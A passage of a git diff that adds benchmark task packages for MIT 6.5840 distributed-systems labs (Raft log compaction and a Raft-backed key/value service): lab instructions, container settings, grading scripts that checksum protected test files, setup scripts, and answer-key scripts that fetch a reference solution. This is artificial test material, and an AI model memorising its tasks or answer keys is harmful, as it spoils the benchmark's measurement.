(3C): Figure 8 ... +... Passed -- 31.2 5 580 130675 32 +Test (3C): unreliable agreement ... +... Passed -- 1.7 5 1044 366392 246 +Test (3C): Figure 8 (unreliable) ... +... Passed -- 33.6 5 10700 33695245 308 +Test (3C): churn ... +... Passed -- 16.1 5 8864 44771259 1544 +Test (3C): unreliable churn ... +... Passed -- 16.5 5 4220 6414632 906 +PASS +ok raft 123.564s +$ +``` + +It is a good idea to run the tests multiple times before submitting and check that each run prints PASS. + +```sh +$ for i in {0..10}; do go test; done +``` + +## Files Agent Should Modify + +The agent should implement the solution by modifying the following files: + +- `src/raft/append_entries.go` +- `src/raft/election.go` +- `src/raft/install_snapshot.go` +- `src/raft/raft.go` +- `src/raft/util.go` + +**Important**: Do not modify test files, configuration files, or other infrastructure files. + +## Notes + +- The go binary is located at `/usr/local/go/bin` diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/compose.yaml b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/compose.yaml new file mode 100644 index 00000000..7b3b01de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: golang:1.21-bookworm + init: true + command: tail -f /dev/null + working_dir: /workspace + network_mode: bridge + cpus: '2.0' + mem_limit: 2gb diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/config.json b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/config.json new file mode 100644 index 00000000..3238cc51 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/config.json @@ -0,0 +1,13 @@ +{ + "instance_id": "mit_6_5840_2024__raft_3d", + "course_id": "mit_6_5840_2024", + "timeout_minutes": 30, + "tags": ["distributed-systems", "go", "raft", "consensus", "fault-tolerance"], + "artifacts": [ + "src/raft/append_entries.go", + "src/raft/election.go", + "src/raft/install_snapshot.go", + "src/raft/raft.go", + "src/raft/util.go" + ] +} diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/evaluate.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/evaluate.sh new file mode 100755 index 00000000..4c76b66e --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/evaluate.sh @@ -0,0 +1,53 @@ +#!/bin/bash +set -e + +echo "=== Evaluating Raft Lab 3D ===" + +export PATH=$PATH:/usr/local/go/bin +cd /workspace/src + +echo "Verifying protected files were not modified" +PROTECTED_FILES=( + "raft/config.go" + "raft/persister.go" + "raft/test_test.go" +) + +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ] && [ -f "/tmp/checksums/$(basename $file).sha256" ]; then + if ! sha256sum -c "/tmp/checksums/$(basename $file).sha256" > /dev/null 2>&1; then + echo "FAIL: $file was modified" + exit 1 + fi + fi +done +echo "All protected files unchanged" + +echo "Running Raft 3D tests (up to 3 attempts to handle timeouts)" +cd raft + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "Attempt $attempt of $MAX_ATTEMPTS" + + if go test -run 3D 2>&1 | tee test_output.txt; then + if grep -q "PASS" test_output.txt && ! grep -q "FAIL" test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + else + echo "Tests did not complete successfully on attempt $attempt" + fi + else + echo "Test run timed out or failed on attempt $attempt" + fi + + # Clean up before retry + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Cleaning up for retry..." + rm -f test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests did not pass after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/preprocess.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/preprocess.sh new file mode 100755 index 00000000..a97bdec0 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/preprocess.sh @@ -0,0 +1,39 @@ +#!/bin/bash +set -e + +echo "=== Setting up Raft Lab 3D ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning 6.5840 lab repository" +git clone git://g.csail.mit.edu/6.5840-golabs-2024 /tmp/lab-repo > /dev/null 2>&1 + +echo "Moving src directory to workspace" +mv /tmp/lab-repo/src ./src + + +echo "Removing git history" +rm -rf /tmp/lab-repo + +cd src + +echo "Creating checksums for protected files" +PROTECTED_FILES=( + "raft/config.go" + "raft/persister.go" + "raft/test_test.go" +) + +mkdir -p /tmp/checksums +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + sha256sum "$file" > "/tmp/checksums/$(basename $file).sha256" + echo " Protected: $file" + fi +done + +echo "Setup complete" diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/sol.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/sol.sh new file mode 100644 index 00000000..0859f518 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/sol.sh @@ -0,0 +1,13 @@ +#!/bin/bash +set -e + +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/mit-solution +git -C /tmp/mit-solution checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a + +cp /tmp/mit-solution/src/raft/append_entries.go src/raft/append_entries.go +cp /tmp/mit-solution/src/raft/election.go src/raft/election.go +cp /tmp/mit-solution/src/raft/install_snapshot.go src/raft/install_snapshot.go +cp /tmp/mit-solution/src/raft/raft.go src/raft/raft.go +cp /tmp/mit-solution/src/raft/util.go src/raft/util.go + +rm -rf /tmp/mit-solution diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/task.md b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/task.md new file mode 100644 index 00000000..05029971 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3d_raft/task.md @@ -0,0 +1,283 @@ +# Raft + +### Introduction + +This is the first in a series of labs in which you'll build a fault-tolerant key/value storage system. In this lab you'll implement Raft, a replicated state machine protocol. In the next lab you'll build a key/value service on top of Raft. Then you will "shard" your service over multiple replicated state machines for higher performance. + +A replicated service achieves fault tolerance by storing complete copies of its state (i.e., data) on multiple replica servers. Replication allows the service to continue operating even if some of its servers experience failures (crashes or a broken or flaky network). The challenge is that failures may cause the replicas to hold differing copies of the data. + +Raft organizes client requests into a sequence, called the log, and ensures that all the replica servers see the same log. Each replica executes client requests in log order, applying them to its local copy of the service's state. Since all the live replicas see the same log contents, they all execute the same requests in the same order, and thus continue to have identical service state. If a server fails but later recovers, Raft takes care of bringing its log up to date. Raft will continue to operate as long as at least a majority of the servers are alive and can talk to each other. If there is no such majority, Raft will make no progress, but will pick up where it left off as soon as a majority can communicate again. + +In this lab you'll implement Raft as a Go object type with associated methods, meant to be used as a module in a larger service. A set of Raft instances talk to each other with RPC to maintain replicated logs. Your Raft interface will support an indefinite sequence of numbered commands, also called log entries. The entries are numbered with _index numbers_. The log entry with a given index will eventually be committed. At that point, your Raft should send the log entry to the larger service for it to execute. + +You should follow the design in the extended Raft paper, with particular attention to Figure 2. You'll implement most of what's in the paper, including saving persistent state and reading it after a node fails and then restarts. You will not implement cluster membership changes (Section 6). + +This lab is due in four parts. You must submit each part on the corresponding due date. + +### Getting Started + +We supply you with skeleton code `src/raft/raft.go`. We also supply a set of tests, which you should use to drive your implementation efforts, and which we'll use to grade your submitted lab. The tests are in `src/raft/test_test.go`. + +When we grade your submissions, we will run the tests without the `-race` flag. However, you should check that your code does not have races, by running the tests with the `-race` flag as you develop your solution. + +To get up and running, execute the following commands: + +```sh +$ cd src/raft +$ go test +Test (3A): initial election ... +--- FAIL: TestInitialElection3A (5.04s) +config.go:326: expected one leader, got none +Test (3A): election after network failure ... +--- FAIL: TestReElection3A (5.03s) +config.go:326: expected one leader, got none +... +$ +``` + +### The code + +Implement Raft by adding code to `raft/raft.go`. In that file you'll find skeleton code, plus examples of how to send and receive RPCs. + +Your implementation must support the following interface, which the tester and (eventually) your key/value server will use. You'll find more details in comments in `raft.go`. + +```go +// create a new Raft server instance: +rf := Make(peers, me, persister, applyCh) + +// start agreement on a new log entry: +rf.Start(command interface{}) (index, term, isleader) + +// ask a Raft for its current term, and whether it thinks it is leader +rf.GetState() (term, isLeader) + +// each time a new entry is committed to the log, each Raft peer +// should send an ApplyMsg to the service (or tester). +type ApplyMsg +``` + +A service calls `Make(peers,me,…)` to create a Raft peer. The peers argument is an array of network identifiers of the Raft peers (including this one), for use with RPC. The `me` argument is the index of this peer in the peers array. `Start(command)` asks Raft to start the processing to append the command to the replicated log. `Start()` should return immediately, without waiting for the log appends to complete. The service expects your implementation to send an `ApplyMsg` for each newly committed log entry to the `applyCh` channel argument to `Make()`. + +`raft.go` contains example code that sends an RPC (`sendRequestVote()`) and that handles an incoming RPC (`RequestVote()`). Your Raft peers should exchange RPCs using the labrpc Go package (source in `src/labrpc`). The tester can tell `labrpc` to delay RPCs, re-order them, and discard them to simulate various network failures. While you can temporarily modify `labrpc`, make sure your Raft works with the original `labrpc`, since that's what we'll use to test and grade your lab. Your Raft instances must interact only with RPC; for example, they are not allowed to communicate using shared Go variables or files. + +Subsequent labs build on this lab, so it is important to give yourself enough time to write solid code. + +### Part 3A: leader election ("moderate") + +#### Task + +Implement Raft leader election and heartbeats (`AppendEntries` RPCs with no log entries). The goal for Part 3A is for a single leader to be elected, for the leader to remain the leader if there are no failures, and for a new leader to take over if the old leader fails or if packets to/from the old leader are lost. Run `go test -run 3A` to test your 3A code. + +#### Hints + +- You can't easily run your Raft implementation directly; instead you should run it by way of the tester, i.e. `go test -run 3A` . +- Follow the paper's Figure 2. At this point you care about sending and receiving RequestVote RPCs, the Rules for Servers that relate to elections, and the State related to leader election, +- Add the Figure 2 state for leader election to the `Raft` struct in `raft.go`. You'll also need to define a struct to hold information about each log entry. +- Fill in the `RequestVoteArgs` and `RequestVoteReply` structs. Modify `Make()` to create a background goroutine that will kick off leader election periodically by sending out `RequestVote` RPCs when it hasn't heard from another peer for a while. Implement the `RequestVote()` RPC handler so that servers will vote for one another. +- To implement heartbeats, define an `AppendEntries` RPC struct (though you may not need all the arguments yet), and have the leader send them out periodically. Write an `AppendEntries` RPC handler method. +- The tester requires that the leader send heartbeat RPCs no more than ten times per second. +- The tester requires your Raft to elect a new leader within five seconds of the failure of the old leader (if a majority of peers can still communicate). +- The paper's Section 5.2 mentions election timeouts in the range of 150 to 300 milliseconds. Such a range only makes sense if the leader sends heartbeats considerably more often than once per 150 milliseconds (e.g., once per 10 milliseconds). Because the tester limits you tens of heartbeats per second, you will have to use an election timeout larger than the paper's 150 to 300 milliseconds, but not too large, because then you may fail to elect a leader within five seconds. +- You may find Go's rand useful. +- You'll need to write code that takes actions periodically or after delays in time. The easiest way to do this is to create a goroutine with a loop that calls time.Sleep(); see the ticker() goroutine that Make() creates for this purpose. Don't use Go's `time.Timer` or `time.Ticker`, which are difficult to use correctly. +- If your code has trouble passing the tests, read the paper's Figure 2 again; the full logic for leader election is spread over multiple parts of the figure. +- Don't forget to implement `GetState()`. +- The tester calls your Raft's `rf.Kill()` when it is permanently shutting down an instance. You can check whether `Kill()` has been called using `rf.killed()`. You may want to do this in all loops, to avoid having dead Raft instances print confusing messages. +- Go RPC sends only struct fields whose names start with capital letters. Sub-structures must also have capitalized field names (e.g. fields of log records in an array). The `labgob` package will warn you about this; don't ignore the warnings. +- The most challenging part of this lab may be the debugging. Spend some time making your implementation easy to debug. + +Be sure you pass the 3A tests before submitting Part 3A, so that you see something like this: + +```sh +$ go test -run 3A +Test (3A): initial election ... +... Passed -- 3.5 3 58 16840 0 +Test (3A): election after network failure ... +... Passed -- 5.4 3 118 25269 0 +Test (3A): multiple elections ... +... Passed -- 7.3 7 624 138014 0 +PASS +ok raft 16.265s +$ +``` + +Each "Passed" line contains five numbers; these are the time that the test took in seconds, the number of Raft peers, the number of RPCs sent during the test, the total number of bytes in the RPC messages, and the number of log entries that Raft reports were committed. Your numbers will differ from those shown here. You can ignore the numbers if you like, but they may help you sanity-check the number of RPCs that your implementation sends. For all of labs 3, 4, and 5, the grading script will fail your solution if it takes more than 600 seconds for all of the tests (`go test`), or if any individual test takes more than 120 seconds. + +When we grade your submissions, we will run the tests without the `-race` flag. However, you should make sure that your code consistently passes the tests with the `-race` flag. + +### Part 3B: log ("hard") + +#### Task + +Implement the leader and follower code to append new log entries, so that the `go test -run 3B` tests pass. + +#### Hints + +- Your first goal should be to pass `TestBasicAgree3B()`. Start by implementing `Start()`, then write the code to send and receive new log entries via `AppendEntries` RPCs, following Figure 2. Send each newly committed entry on `applyCh` on each peer. +- You will need to implement the election restriction (section 5.4.1 in the paper). +- Your code may have loops that repeatedly check for certain events. Don't have these loops execute continuously without pausing, since that will slow your implementation enough that it fails tests. Use Go's condition variables, or insert a `time.Sleep(10 * time.Millisecond)` in each loop iteration. +- Do yourself a favor for future labs and write (or re-write) code that's clean and clear. +- If you fail a test, look at `test_test.go` and `config.go` to understand what's being tested. `config.go` also illustrates how the tester uses the Raft API. + +The tests for upcoming labs may fail your code if it runs too slowly. You can check how much real time and CPU time your solution uses with the time command. Here's typical output: + +```sh +$ time go test -run 3B +Test (3B): basic agreement ... +... Passed -- 0.9 3 16 4572 3 +Test (3B): RPC byte count ... +... Passed -- 1.7 3 48 114536 11 +Test (3B): agreement after follower reconnects ... +... Passed -- 3.6 3 78 22131 7 +Test (3B): no agreement if too many followers disconnect ... +... Passed -- 3.8 5 172 40935 3 +Test (3B): concurrent Start()s ... +... Passed -- 1.1 3 24 7379 6 +Test (3B): rejoin of partitioned leader ... +... Passed -- 5.1 3 152 37021 4 +Test (3B): leader backs up quickly over incorrect follower logs ... +... Passed -- 17.2 5 2080 1587388 102 +Test (3B): RPC counts aren't too high ... +... Passed -- 2.2 3 60 20119 12 +PASS +ok raft 35.557s + +real 0m35.899s +user 0m2.556s +sys 0m1.458s +$ +``` + +The "ok raft 35.557s" means that Go measured the time taken for the 3B tests to be 35.557 seconds of real (wall-clock) time. The "user 0m2.556s" means that the code consumed 2.556 seconds of CPU time, or time spent actually executing instructions (rather than waiting or sleeping). If your solution uses much more than a minute of real time for the 3B tests, or much more than 5 seconds of CPU time, you may run into trouble later on. Look for time spent sleeping or waiting for RPC timeouts, loops that run without sleeping or waiting for conditions or channel messages, or large numbers of RPCs sent. + +### Part 3C: persistence ("hard") + +If a Raft-based server reboots it should resume service where it left off. This requires that Raft keep persistent state that survives a reboot. The paper's Figure 2 mentions which state should be persistent. + +A real implementation would write Raft's persistent state to disk each time it changed, and would read the state from disk when restarting after a reboot. Your implementation won't use the disk; instead, it will save and restore persistent state from a `Persister` object (see `persister.go`). Whoever calls `Raft.Make()` supplies a `Persister` that initially holds Raft's most recently persisted state (if any). Raft should initialize its state from that `Persister`, and should use it to save its persistent state each time the state changes. Use the `Persister`'s `ReadRaftState()` and `Save()` methods. + +#### Task + +Complete the functions `persist()` and `readPersist()` in raft.go by adding code to save and restore persistent state. You will need to encode (or "serialize") the state as an array of bytes in order to pass it to the Persister. Use the labgob encoder; see the comments in `persist()` and `readPersist()`. `labgob` is like Go's `gob` encoder but prints error messages if you try to encode structures with lower-case field names. For now, pass `nil` as the second argument to `persister.Save()`. Insert calls to `persist()` at the points where your implementation changes persistent state. Once you've done this, and if the rest of your implementation is correct, you should pass all of the 3C tests. + +You will probably need the optimization that backs up nextIndex by more than one entry at a time. Look at the extended Raft paper starting at the bottom of page 7 and top of page 8 (marked by a gray line). The paper is vague about the details; you will need to fill in the gaps. One possibility is to have a rejection message include: + +```sh + XTerm: term in the conflicting entry (if any) + XIndex: index of first entry with that term (if any) + XLen: log length +``` + +Then the leader's logic can be something like: + +```sh +Case 1: leader doesn't have XTerm: +nextIndex = XIndex +Case 2: leader has XTerm: +nextIndex = leader's last entry for XTerm +Case 3: follower's log is too short: +nextIndex = XLen +``` + +A few other hints: + +- The 3C tests are more demanding than those for 3A or 3B, and failures may be caused by problems in your code for 3A or 3B. + +Your code should pass all the 3C tests (as shown below), as well as the 3A and 3B tests. + +```sh +$ go test -run 3C +Test (3C): basic persistence ... +... Passed -- 5.0 3 86 22849 6 +Test (3C): more persistence ... +... Passed -- 17.6 5 952 218854 16 +Test (3C): partitioned leader and one follower crash, leader restarts ... +... Passed -- 2.0 3 34 8937 4 +Test (3C): Figure 8 ... +... Passed -- 31.2 5 580 130675 32 +Test (3C): unreliable agreement ... +... Passed -- 1.7 5 1044 366392 246 +Test (3C): Figure 8 (unreliable) ... +... Passed -- 33.6 5 10700 33695245 308 +Test (3C): churn ... +... Passed -- 16.1 5 8864 44771259 1544 +Test (3C): unreliable churn ... +... Passed -- 16.5 5 4220 6414632 906 +PASS +ok raft 123.564s +$ +``` + +It is a good idea to run the tests multiple times before submitting and check that each run prints PASS. + +```sh +$ for i in {0..10}; do go test; done +``` + +### Part 3D: log compaction ("hard") + +As things stand now, a rebooting server replays the complete Raft log in order to restore its state. However, it's not practical for a long-running service to remember the complete Raft log forever. Instead, you'll modify Raft to cooperate with services that persistently store a "snapshot" of their state from time to time, at which point Raft discards log entries that precede the snapshot. The result is a smaller amount of persistent data and faster restart. However, it's now possible for a follower to fall so far behind that the leader has discarded the log entries it needs to catch up; the leader must then send a snapshot plus the log starting at the time of the snapshot. Section 7 of the extended Raft paper outlines the scheme; you will have to design the details. + +Your Raft must provide the following function that the service can call with a serialized snapshot of its state: + +`Snapshot(index int, snapshot []byte)` + +In Lab 3D, the tester calls `Snapshot()` periodically. In Lab 4, you will write a key/value server that calls `Snapshot()`; the snapshot will contain the complete table of key/value pairs. The service layer calls `Snapshot()` on every peer (not just on the leader). + +The `index` argument indicates the highest log entry that's reflected in the snapshot. Raft should discard its log entries before that point. You'll need to revise your Raft code to operate while storing only the tail of the log. + +You'll need to implement the `InstallSnapshot` RPC discussed in the paper that allows a Raft leader to tell a lagging Raft peer to replace its state with a snapshot. You will likely need to think through how InstallSnapshot should interact with the state and rules in Figure 2. + +When a follower's Raft code receives an InstallSnapshot RPC, it can use the `applyCh` to send the snapshot to the service in an `ApplyMsg`. The `ApplyMsg` struct definition already contains the fields you will need (and which the tester expects). Take care that these snapshots only advance the service's state, and don't cause it to move backwards. + +If a server crashes, it must restart from persisted data. Your Raft should persist both Raft state and the corresponding snapshot. Use the second argument to `persister.Save()` to save the snapshot. If there's no snapshot, pass `nil` as the second argument. + +When a server restarts, the application layer reads the persisted snapshot and restores its saved state. + +#### Task + +Implement `Snapshot()` and the InstallSnapshot RPC, as well as the changes to Raft to support these (e.g, operation with a trimmed log). Your solution is complete when it passes the 3D tests (and all the previous Lab 3 tests). + +#### Hints + +- A good place to start is to modify your code to so that it is able to store just the part of the log starting at some index X. Initially you can set X to zero and run the 3B/3C tests. Then make `Snapshot(index)` discard the log before `index`, and set X equal to `index`. If all goes well you should now pass the first 3D test. +- Next: have the leader send an InstallSnapshot RPC if it doesn't have the log entries required to bring a follower up to date. +- Send the entire snapshot in a single InstallSnapshot RPC. Don't implement Figure 13's `offset` mechanism for splitting up the snapshot. +- Raft must discard old log entries in a way that allows the Go garbage collector to free and re-use the memory; this requires that there be no reachable references (pointers) to the discarded log entries. +- A reasonable amount of time to consume for the full set of Lab 3 tests (3A+3B+3C+3D) without `-race` is 6 minutes of real time and one minute of CPU time. When running with `-race`, it is about 10 minutes of real time and two minutes of CPU time. + +Your code should pass all the 3D tests (as shown below), as well as the 3A, 3B, and 3C tests. + +```sh +$ go test -run 3D +Test (3D): snapshots basic ... +... Passed -- 11.6 3 176 61716 192 +Test (3D): install snapshots (disconnect) ... +... Passed -- 64.2 3 878 320610 336 +Test (3D): install snapshots (disconnect+unreliable) ... +... Passed -- 81.1 3 1059 375850 341 +Test (3D): install snapshots (crash) ... +... Passed -- 53.5 3 601 256638 339 +Test (3D): install snapshots (unreliable+crash) ... +... Passed -- 63.5 3 687 288294 336 +Test (3D): crash and restart all servers ... +... Passed -- 19.5 3 268 81352 58 +PASS +ok raft 293.456s +``` + +## Files Agent Should Modify + +The agent should implement the solution by modifying the following files: + +- `src/raft/append_entries.go` +- `src/raft/election.go` +- `src/raft/install_snapshot.go` +- `src/raft/raft.go` +- `src/raft/util.go` + +**Important**: Do not modify test files, configuration files, or other infrastructure files. + +## Notes + +- The go binary is located at `/usr/local/go/bin` diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/compose.yaml b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/compose.yaml new file mode 100644 index 00000000..7b3b01de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: golang:1.21-bookworm + init: true + command: tail -f /dev/null + working_dir: /workspace + network_mode: bridge + cpus: '2.0' + mem_limit: 2gb diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/config.json b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/config.json new file mode 100644 index 00000000..4620b89c --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/config.json @@ -0,0 +1,11 @@ +{ + "instance_id": "mit_6_5840_2024__kvraft_4a", + "course_id": "mit_6_5840_2024", + "timeout_minutes": 30, + "tags": ["distributed-systems", "go", "raft", "key-value-store", "fault-tolerance"], + "artifacts": [ + "src/kvraft/client.go", + "src/kvraft/common.go", + "src/kvraft/server.go" + ] +} diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/evaluate.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/evaluate.sh new file mode 100755 index 00000000..de00babe --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/evaluate.sh @@ -0,0 +1,52 @@ +#!/bin/bash +set -e + +echo "=== Evaluating KVRaft Lab 4A ===" + +export PATH=$PATH:/usr/local/go/bin +cd /workspace/src + +echo "Verifying protected files were not modified" +PROTECTED_FILES=( + "kvraft/config.go" + "kvraft/test_test.go" +) + +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ] && [ -f "/tmp/checksums/$(basename $file).sha256" ]; then + if ! sha256sum -c "/tmp/checksums/$(basename $file).sha256" > /dev/null 2>&1; then + echo "FAIL: $file was modified" + exit 1 + fi + fi +done +echo "All protected files unchanged" + +echo "Running KVRaft 4A tests (up to 3 attempts to handle timeouts)" +cd kvraft + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "Attempt $attempt of $MAX_ATTEMPTS" + + if go test -run 4A 2>&1 | tee test_output.txt; then + if grep -q "PASS" test_output.txt && ! grep -q "FAIL" test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + else + echo "Tests did not complete successfully on attempt $attempt" + fi + else + echo "Test run timed out or failed on attempt $attempt" + fi + + # Clean up before retry + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Cleaning up for retry..." + rm -f test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests did not pass after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/preprocess.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/preprocess.sh new file mode 100644 index 00000000..7660846d --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/preprocess.sh @@ -0,0 +1,69 @@ +#!/bin/bash +set -e + +echo "=== Setting up KVRaft Lab 4A ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning 6.5840 lab repository" +git clone git://g.csail.mit.edu/6.5840-golabs-2024 /tmp/lab-repo > /dev/null 2>&1 + +echo "Moving src directory to workspace" +mv /tmp/lab-repo/src ./src + + +echo "Removing git history" +rm -rf /tmp/lab-repo + +echo "Cloning reference solutions" +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/reference-solutions > /dev/null 2>&1 +git -C /tmp/reference-solutions checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a > /dev/null 2>&1 + +echo "Copying starter files from reference solutions" +cp -r /tmp/reference-solutions/src/mr src/ +cp -r /tmp/reference-solutions/src/kvsrv src/ +cp -r /tmp/reference-solutions/src/raft src/ + +echo "Cleaning up reference solutions" +rm -rf /tmp/reference-solutions + +cd src + +echo "Verifying starter files were copied correctly" +STARTER_FILES=( + "raft/raft.go" + "kvsrv/server.go" + "mr/coordinator.go" +) +for file in "${STARTER_FILES[@]}"; do + if [ ! -f "$file" ]; then + echo "ERROR: Starter file $file not found after copy" + exit 1 + fi + echo " ✓ $file" +done + +echo "Creating checksums for protected files" +PROTECTED_FILES=( + "kvraft/config.go" + "kvraft/test_test.go" +) + +mkdir -p /tmp/checksums +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + sha256sum "$file" > "/tmp/checksums/$(basename $file).sha256" + echo " Protected: $file" + fi +done + +echo "Agent should implement:" +echo " - src/kvraft/client.go" +echo " - src/kvraft/common.go" +echo " - src/kvraft/server.go" + +echo "Setup complete" diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/sol.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/sol.sh new file mode 100644 index 00000000..39abac49 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/sol.sh @@ -0,0 +1,11 @@ +#!/bin/bash +set -e + +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/mit-solution +git -C /tmp/mit-solution checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a + +cp /tmp/mit-solution/src/kvraft/client.go src/kvraft/client.go +cp /tmp/mit-solution/src/kvraft/common.go src/kvraft/common.go +cp /tmp/mit-solution/src/kvraft/server.go src/kvraft/server.go + +rm -rf /tmp/mit-solution diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/task.md b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/task.md new file mode 100644 index 00000000..bf9df5d6 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_4a_kvraft/task.md @@ -0,0 +1,129 @@ +# Fault-tolerant Key/Value Service + +### Introduction + +In this lab you will build a fault-tolerant key/value storage service using your Raft library from Lab 3. Your key/value service will be a replicated state machine, consisting of several key/value servers that each maintain a database of key/value pairs, as in Lab 2, but additionally use Raft for replication. Your key/value service should continue to process client requests as long as a majority of the servers are alive and can communicate, in spite of other failures or network partitions. + +Clients will interact with your key/value service in much the same way as Lab 2. In particular, clients can send three different RPCs to the key/value service: + +- `Put(key, value)`: replaces the value for a particular key in the database +- `Append(key, arg)`: appends arg to key's value (treating the existing value as an empty string if the key is non-existent) +- `Get(key)`: fetches the current value of the key (returning the empty string for non-existent keys) + +Keys and values are strings. Note that unlike in Lab 2, neither `Put` nor `Append` should return a value to the client. Each client talks to the service through a `Clerk` with Put/Append/Get methods. The `Clerk` manages RPC interactions with the servers. + +Your service must arrange that application calls to `Clerk` Get/Put/Append methods be linearizable. If called one at a time, the Get/Put/Append methods should act as if the system had only one copy of its state, and each call should observe the modifications to the state implied by the preceding sequence of calls. For concurrent calls, the return values and final state must be the same as if the operations had executed one at a time in some order. Calls are concurrent if they overlap in time: for example, if client X calls `Clerk.Put()`, and client Y calls `Clerk.Append()`, and then client X's call returns. A call must observe the effects of all calls that have completed before the call starts. + +Providing linearizability is relatively easy for a single server. It is harder if the service is replicated, since all servers must choose the same execution order for concurrent requests, must avoid replying to clients using state that isn't up to date, and must recover their state after a failure in a way that preserves all acknowledged client updates. + +This lab has two parts. In part A, you will implement a replicated key/value service using your Raft implementation, but without using snapshots. In part B, you will use your snapshot implementation from Lab 3D, which will allow Raft to discard old log entries. Please submit each part by the respective deadline. + +You should review the extended Raft paper, in particular Sections 7 and 8. For a wider perspective, have a look at Chubby, Paxos Made Live, Spanner, Zookeeper, Harp, Viewstamped Replication, and Bolosky et al. + +Start early. + +### Getting Started + +We supply you with skeleton code and tests in `src/kvraft`. You will need to modify `kvraft/client.go`, `kvraft/server.go`, and perhaps `kvraft/common.go`. + +To get up and running, execute the following commands: + +```sh +$ cd src/kvraft +$ go test +... +$ +``` + +### Part A: Key/value service without snapshots ("moderate/hard") + +Each of your key/value servers ("kvservers") will have an associated Raft peer. Clerks send `Put()`, `Append()`, and `Get()` RPCs to the kvserver whose associated Raft is the leader. The kvserver code submits the Put/Append/Get operation to Raft, so that the Raft log holds a sequence of Put/Append/Get operations. All of the kvservers execute operations from the Raft log in order, applying the operations to their key/value databases; the intent is for the servers to maintain identical replicas of the key/value database. + +A `Clerk` sometimes doesn't know which kvserver is the Raft leader. If the `Clerk` sends an RPC to the wrong kvserver, or if it cannot reach the kvserver, the `Clerk` should re-try by sending to a different kvserver. If the key/value service commits the operation to its Raft log (and hence applies the operation to the key/value state machine), the leader reports the result to the `Clerk` by responding to its RPC. If the operation failed to commit (for example, if the leader was replaced), the server reports an error, and the `Clerk` retries with a different server. + +Your kvservers should not directly communicate; they should only interact with each other through Raft. + +#### Task + +Your first task is to implement a solution that works when there are no dropped messages, and no failed servers. + +Feel free to copy over your client code from Lab 2 (`kvsrv/client.go`) into `kvraft/client.go`. You will need to add logic for deciding which kvserver to send each RPC to. Recall that `Append()` no longer returns a value to the Clerk. + 